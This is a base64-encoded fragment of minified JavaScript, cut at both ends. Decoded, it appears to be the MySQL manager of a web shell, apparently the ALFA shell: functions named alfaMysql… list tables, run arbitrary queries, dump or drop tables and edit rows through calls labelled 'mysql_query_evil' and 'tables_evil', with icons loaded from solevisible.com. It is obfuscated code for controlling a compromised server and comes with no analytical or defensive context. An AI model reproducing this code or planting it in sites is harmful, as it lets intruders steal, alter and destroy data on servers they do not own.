BhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gYWxmYU15c3FsRXhwYW5kZXIoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWwuZ2V0QXR0cmlidXRlKCJtb2RlIik/YWxmYU15c3FsVGFibGVNb2RlKGEsdCk6YWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2FsZmEyOiJsb2FkX3RhYmxlcyIsYWxmYTM6aX19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZhbGZhTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT1pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1vLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHVzaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2FsZmEyOiJkdW1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2FsZmFNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFuPjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iYWxmYU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc21hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5uZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gYWxmYU15c3FsUXVlcnkoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2FsZmEyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsYWxmYU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gYWxmYU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+IjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7JiN4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb24gYWxmYU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGFsZmFMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7YWxmYTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoPjx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvbiB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJz48L3RkPjwvdHI+Ijt2YXIgZj1hbGZhTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2FsZmFNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC90cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaztjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20rIjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxVcGRhdGVSb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcXJlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B0LWlkJyBvbmNoYW5nZT0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93IikuaW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBhbGZhTXlzcWxBbHRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmFtZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxhbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7YWxmYTI6ImFsdGVyIn19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBhbGZhTXlzcWxTZWFyY2goZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNxbC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2FsZmEyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksYWxmYU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0OnthbGZhMjp0fX0sZnVuY3